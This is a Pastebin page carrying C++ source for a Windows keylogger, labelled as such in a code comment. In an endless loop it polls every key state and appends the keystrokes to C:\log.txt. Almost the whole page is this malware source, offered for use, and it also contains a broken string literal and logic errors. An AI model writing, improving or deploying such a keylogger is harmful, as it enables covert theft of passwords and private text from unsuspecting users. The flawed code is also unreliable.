Simple2012

Untitled

Feb 16th, 2014
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.96 KB | None | 0 0
  1. // Edit by Dr.T3T4
  2.  
  3. #include "stdafx.h"
  4. #include <iostream>
  5. #include <windows.h>
  6. #include <Winuser.h>
  7. #include <string>
  8. #include <fstream>
  9. using namespace std;
  10.  
  11.  
  12. std::string GetKey(int Key)
  13. {
  14. std::string KeyString = "";
  15.  
  16. if (Key == 8)
  17. KeyString = "[delete]";
  18. else if (Key == 13)
  19. KeyString = "\n";
  20. else if (Key == 32)
  21. KeyString = " ";
  22. else if (Key == VK_PAUSE)
  23. KeyString = "[PAUSE]";
  24. else if (Key == VK_CAPITAL)
  25. KeyString = "[CAPITAL]";
  26. else if (Key == VK_SHIFT)
  27. KeyString = "[SHIFT]";
  28. else if (Key == VK_TAB)
  29. KeyString = "[TABULATOR]";
  30. else if (Key == VK_CONTROL)
  31. KeyString = "[CTRL]";
  32. else if (Key == VK_ESCAPE)
  33. KeyString = "[ESCAPE]";
  34. else if (Key == VK_END)
  35. KeyString = "[END]";
  36. else if (Key == VK_HOME)
  37. KeyString = "[HOME]";
  38. else if (Key == VK_LEFT)
  39. KeyString = "
  40.  
  41.  
  42.  
  43.  
  44. ";
  45. else if (Key == VK_RIGHT)
  46. KeyString = "[right]";
  47. else if (Key == VK_UP)
  48. KeyString = "[UP]";
  49. else if (Key == VK_DOWN)
  50. KeyString = "[DOWN]";
  51. else if (Key == VK_SNAPSHOT)
  52. KeyString = "[SNAPSHOT]";
  53. else if (Key == VK_NUMLOCK)
  54. KeyString = "[NUMLOCK]";
  55. else if (Key == 190 || Key == 110)
  56. KeyString = ".";
  57. else if (Key >=96 && Key <= 105)
  58. KeyString = Key-48;
  59. else if (Key > 47 && Key < 60)
  60. KeyString = Key;
  61. if (Key != VK_LBUTTON || Key != VK_RBUTTON)
  62. {
  63. if (Key > 64 && Key < 91)
  64. {
  65. if (GetKeyState(VK_CAPITAL))
  66. KeyString = Key;
  67. else
  68. {
  69. Key = Key + 32;
  70. KeyString = Key;
  71. }
  72. }
  73. }
  74.  
  75. return KeyString;
  76. }
  77. int _tmain(int argc, _TCHAR* argv[])
  78. {
  79. system("echo L3m!k was here > C:\\log.txt");
  80. std::string Filename = "C:\\log.txt";
  81. std::string TempString = "";
  82. std::fstream FStream;
  83. FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
  84. while(true)
  85. {
  86. //This is the source of a C++ keylogger:
  87. Sleep(5);
  88. for(int i = 8; i < 191; i++)
  89. {
  90. if(GetAsyncKeyState(i)&1 ==1)
  91. {
  92. TempString = GetKey (i);
  93.  
  94. FStream.write(TempString.c_str(), TempString.size());
  95. FStream.close();
  96. FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
  97. }
  98. }
  99. }
  100. }
Advertisement
Add Comment
Please, Sign In to add comment